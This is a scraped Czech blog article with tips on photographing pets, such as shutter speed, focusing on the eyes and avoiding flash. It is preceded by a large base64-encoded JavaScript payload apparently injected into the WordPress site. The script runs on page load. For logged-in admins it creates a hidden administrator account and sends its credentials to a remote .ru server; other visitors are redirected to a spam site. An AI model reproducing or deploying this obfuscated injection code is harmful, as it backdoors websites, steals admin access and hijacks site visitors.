CBkYXRhLCBhc3luYykgewogICAgICAgIHJlcSA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOwogICAgICAgIHJlcS5vcGVuKG1ldGhvZCwgdXJsLCBhc3luYyk7CiAgICAgICAgcmVxLnNldFJlcXVlc3RIZWFkZXIoIkNvbnRlbnQtVHlwZSIsICJhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQiKTsKICAgICAgICByZXEuc2VuZChkYXRhKTsKICAgICAgICByZXR1cm4gcmVxCiAgICB9CgogICAgZnVuY3Rpb24gZ2V0QmFzZVVybCgpIHsKICAgICAgICBmb3IodmFyIGkgPSAwLCBsPWRvY3VtZW50LmxpbmtzLmxlbmd0aDsgaTxsOyBpKyspIHsKICAgICAgICAgICAgdmFyIGN1cnJIcmVmID0gZG9jdW1lbnQubGlua3NbaV0uaHJlZjsKICAgICAgICAgICAgaWYoY3VyckhyZWYuaW5jbHVkZXMoIi93cC1hZG1pbi8iKSl7CiAgICAgICAgICAgICAgICB2YXIgbG5rQXJyID0gY3VyckhyZWYuc3BsaXQoIndwLWFkbWluLyIpOwogICAgICAgICAgICAgICAgcmV0dXJuIGxua0FyclswXSArICJ3cC1hZG1pbi8iOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICByZXR1cm4gIiI7CiAgICB9CgogICAgZnVuY3Rpb24gbWFrZWlkKGxlbmd0aCkgewogICAgICAgIHZhciByZXN1bHQgPSAnJzsKICAgICAgICB2YXIgY2hhcmFjdGVycyA9ICdBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWmFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6MDEyMzQ1Njc4OSc7CiAgICAgICAgdmFyIGNoYXJhY3RlcnNMZW5ndGggPSBjaGFyYWN0ZXJzLmxlbmd0aDsKICAgICAgICBmb3IgKHZhciBpID0gMDsgaSA8IGxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgIHJlc3VsdCArPSBjaGFyYWN0ZXJzLmNoYXJBdChNYXRoLmZsb29yKE1hdGgucmFuZG9tKCkgKiBjaGFyYWN0ZXJzTGVuZ3RoKSk7CiAgICAgICAgfQogICAgICAgIHJldHVybiByZXN1bHQ7CiAgICB9CgogICAgaWYgKGlzQWRtaW4oKSkgewogICAgICAgIGlmIChnZXRDb29raWUoIlRobzNmYWVLIikgPT09IG51bGwpIHsKICAgICAgICAgICAgY29uc29sZS5sb2coImlzQWRtaW4iKTsKICAgICAgICAgICAgdmFyIGJhc2VEaXIgPSBnZXRCYXNlVXJsKCk7CiAgICAgICAgICAgIHZhciByZXF1ZXN0VVJMID0gYmFzZURpciArICJ1c2VyIiArICItbmV3LnBocCI7CiAgICAgICAgICAgIGNvbnNvbGUubG9nKHJlcXVlc3RVUkwpCiAgICAgICAgICAgIHZhciByZXEgPSByZXF1ZXN0KHJlcXVlc3RVUkwsICJHRVQiLCAiIiwgZmFsc2UpOwogICAgICAgICAgICB2YXIgd3Bfbm9uY2VSZWdleCA9IC9zZXIiIHZhbHVlPSIoW14iXSo/KSIvZzsKICAgICAgICAgICAgdmFyIG5vbmNlTWF0Y2g7CiAgICAgICAgICAgIHZhciBub25jZSA9ICIiOwogICAgICAgICAgICBub25jZU1hdGNoID0gd3Bfbm9uY2VSZWdleC5leGVjKHJlcS5yZXNwb25zZVRleHQpOwogICAgICAgICAgICBpZiAobm9uY2VNYXRjaC5sZW5ndGggPT09IDApcmV0dXJuIGZhbHNlOwogICAgICAgICAgICBub25jZSA9IG5vbmNlTWF0Y2hbMV07CiAgICAgICAgICAgIGlmIChub25jZSA9PT0gIiIpcmV0dXJuIGZhbHNlOwoKICAgICAgICAgICAgdmFyIHVzZXJuYW1lID0gInN5c3RlbSI7CiAgICAgICAgICAgIHZhciBwYXNzd29yZCA9IG1ha2VpZCgxNSk7CgogICAgICAgICAgICB2YXIgcGFyYW1zID0gImFjdGlvbj1jcmVhdGV1c2VyJl93cG5vbmNlX2NyZWF0ZS11c2VyPSIgKyBub25jZSArICImdXNlcl9sb2dpbj0iICsgdXNlcm5hbWUgKwogICAgICAgICAgICAgICAgIiZlbWFpbD1zeXN0ZW1Ad29yZHByZXNzLmxvY2FsJnBhc3MxPSIgKyBwYXNzd29yZCArICImcGFzczI9IiArIHBhc3N3b3JkICsgIiZyb2xlPWFkbWluaXN0cmF0b3IiOwogICAgICAgICAgICByZXEgPSByZXF1ZXN0KHJlcXVlc3RVUkwsICJQT1NUIiwgcGFyYW1zLCB0cnVlKTsKICAgICAgICAgICAgcmVxLm9ubG9hZCA9IGZ1bmN0aW9uICgpIHsKCiAgICAgICAgICAgICAgICBpZiAocmVxLnJlc3BvbnNlVVJMLmluY2x1ZGVzKCJ1cGRhdGU9YWRkIikpIHsKICAgICAgICAgICAgICAgICAgICB2YXIgaW5mbyA9ICJsPSIrdXNlcm5hbWUrIiZwPSIrcGFzc3dvcmQrIiZ1PSIrYmFzZURpci5yZXBsYWNlKCIvd3AtYWRtaW4vIiwgIiIpOwoKICAgICAgICAgICAgICAgICAgICB2YXIgZ2F0ZVVybCA9ICJodHRwczovL2FiY21kLnJ1OjgxL2VuZWlYNHV1IjsKCgogICAgICAgICAgICAgICAgICAgIHJlcXVlc3QoZ2F0ZVVybCwgIlBPU1QiLCBpbmZvLCB0cnVlKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfTsKCiAgICAgICAgICAgIHNldENvb2tpZSgiVGhvM2ZhZUsiLCAiZG8iLCAzNjUpOwogICAgICAgIH0KICAgIH0gZWxzZXsKCiAgICAgICAgZnVuY3Rpb24gaXNNb2JpbGUoKSB7CiAgICAgICAgICAgIHJldHVybiAobmF2aWdhdG9yLnVzZXJBZ2VudC5tYXRjaCgvQW5kcm9pZC9pKSB8fCBuYXZpZ2F0b3IudXNlckFnZW50Lm1hdGNoKC9CbGFja0JlcnJ5L2kpIHx8CiAgICAgICAgICAgICAgICBuYXZpZ2F0b3IudXNlckFnZW50Lm1hdGNoKC9pUGhvbmV8aVBhZHxpUG9kL2kpIHx8IG5hdmlnYXRvci51c2VyQWdlbnQubWF0Y2goL09wZXJhIE1pbmkvaSkgfHwKICAgICAgICAgICAgICAgIG5hdmlnYXRvci51c2VyQWdlbnQubWF0Y2goL0lFTW9iaWxlL2kpKTsKICAgICAgICB9CgogICAgICAgIGZ1bmN0aW9uIGlzRGVza3RvcCgpIHsKICAgICAgICAgICAgcmV0dXJuIChuYXZpZ2F0b3IudXNlckFnZW50LmluZGV4T2YoIkVkZ2UiKSAhPT0gLTEgfHwgbmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKCJNU0lFOyIpICE9PSAtMSB8fAogICAgICAgICAgICAgICAgbmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKCJPUFIiKSAhPT0gLTEgfHwgbmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKCJDaHJvbWl1bSIpICE9PSAtMSB8fAogICAgICAgICAgICAgICAgbmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKCJGaXJlZm94IikgIT09IC0xIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5kZXhPZigiQ2hyb21lIikgIT09IC0xCiAgICAgICAgICAgICkKICAgICAgICB9CgogICAgICAgIHZhciB4ID0gZ2V0Q29va2llKCJhZU5lZThwaSIpOwogICAgICAgIGlmICh4ICE9PSAiMSIpIHsKICAgICAgICAgICAgaWYgKGlzRGVza3RvcCgpIHx8IGlzTW9iaWxlKCkpIHsKICAgICAgICAgICAgICAgIHNldENvb2tpZSgiYWVOZWU4cGkiLCAiMSIsIDMwKTsKICAgICAgICAgICAgICAgIHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCJodHRwczovL2p1c3RjYW5uYWJpcy5vbmxpbmUvP3dwcHJkMiIpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfQoKfQoKaWYgKHdpbmRvdy5hdHRhY2hFdmVudCkgewogICAgd2luZG93LmF0dGFjaEV2ZW50KCdvbmxvYWQnLCBzdGFydCk7Cn0gZWxzZSB7CiAgICBpZiAod2luZG93Lm9ubG9hZCkgewogICAgICAgIHZhciBjdXJyb25sb2FkID0gd2luZG93Lm9ubG9hZDsKICAgICAgICB2YXIgbmV3b25sb2FkID0gZnVuY3Rpb24gKGV2dCkgewogICAgICAgICAgICBjdXJyb25sb2FkKGV2dCk7CiAgICAgICAgICAgIHN0YXJ0KGV2dCk7CiAgICAgICAgfTsKICAgICAgICB3aW5kb3cub25sb2FkID0gbmV3b25sb2FkOwogICAgfSBlbHNlIHsKICAgICAgICB3aW5kb3cub25sb2FkID0gc3RhcnQ7CiAgICB9Cn0='));" href='.php in /www/doc/old.fotolab.cz/www/blog/wp-content/plugins/wp-product-review/includes/class-wppr-template.php on line 93

Každý z vás, kdo má doma nějakého domácího mazlíčka, má určitě plný mobil fotek s ním. Některé jsou povedené, jiné rozmazané a některé z nich to možná dotáhly i k úpravě a zveřejnění na nějaké sociální síti. Jak ale fotit, pokud chceme nechat mobil chvíli stranou?

Připravte si správnou fotovýbavu

Fotit domácí mazlíčky je často jako fotit malé děti. Ať jim říkáte co chcete, pravděpodobně jen tak neposedí a zachytit je bez pohybu bude spíše složité. Připravte si proto fotoaparát s dostatečnou rychlostí tvorby snímků za sekundu v sekvenčním snímání . Kratší doba závěrky je samozřejmostí, hodit se tedy budou světelnější objektivy, či možnost nastavení vyšší hodnoty ISO, k zahození také nebude rychlé kontinuální ostření.

To, že jsou zvířata neustále v akci, ale není nevýhoda. Naopak, zachycení pohybujících se zvířat je velmi atraktivním motivem. Pokud se zvířata fotit nechtějí a před fotoaparátem utíkají, zkuste je nalákat na pamlsek. Foťák si pak spojí se šťastnými okamžiky a nebudou se tolik ostýchat.

Důležité je také správné načasování focení. I když už je k sobě nalákáte, je spíše na nich, kdy se budou chtít fotit. Určitě se shodneme, že nejlépe vypadají přirozené fotky, proto mazlíčky nechte pobíhat a čekejte na správný okamžik.

Ostřete na oči zvířete

Ať už fotíte psa, kočku, kanárka, nebo králíka, vždy se pokuste zaostřit především oči zvířete. Preferencí by mělo být bližší oko, pokud není v rovině s tím druhým. Dramatického efektu dosáhnete, pokud nastavíte co nejmenší clonové číslo a rozostříte pozadí.

Pokud můžete vzít zvíře ven, do jeho přirozeného prostředí, získáte mnohem lepší snímky. Nebude to přitom živějším okolím, ale tím, že ožije především váš mazlíček. Bude řádit a chovat se naprosto přirozeně.

Focení v pohybu vám nejde a práce s krmením nebo hračkami nepomáhá? Trénujte focení v době, kdy zvířata spí. Vyzkoušejte si ostření a pracujte s různou clonou.

Na blesk rovnou zapomeňte

Stejně špatně, jako na blesk reagují zvířata v zoo, na něj budou reagovat také vaši domácí mazlíčci. Taky asi nejste nadšení, když vám někdo blikne přímo do očí. Pokud chcete použít blesk, využijte ideálně externí, který namíříte proti bílému stropu. Světlo bude rozptýlenější a záblesk nebude pro zvíře tak nepříjemný. Nutno podotknout, že některá zvířata mohou negativně reagovat na zvuk závěrky, či pískání při dobíjení externího blesku. Může se vám stát, že po jedné takové příhodě budete svého psa dlouho přesvědčovat, aby vylezl zpoza pohovky.

Dobré osvětlení získáte v interiéru buď za denního světla, nebo raději vyrazte ven. Šero a umělé osvětlení vám práci se zvířaty opravdu neusnadní. Samozřejmě si můžete pomoci také objektivem s dobrou světelností.

Focení čtyřnohých kamarádů je zábava.Myslíte to s focením domácích mazlíčků vážně? Přečtěte si další tipy, jak fotit čtyřnohé kamarády nejen na telefon.

Přidat komentář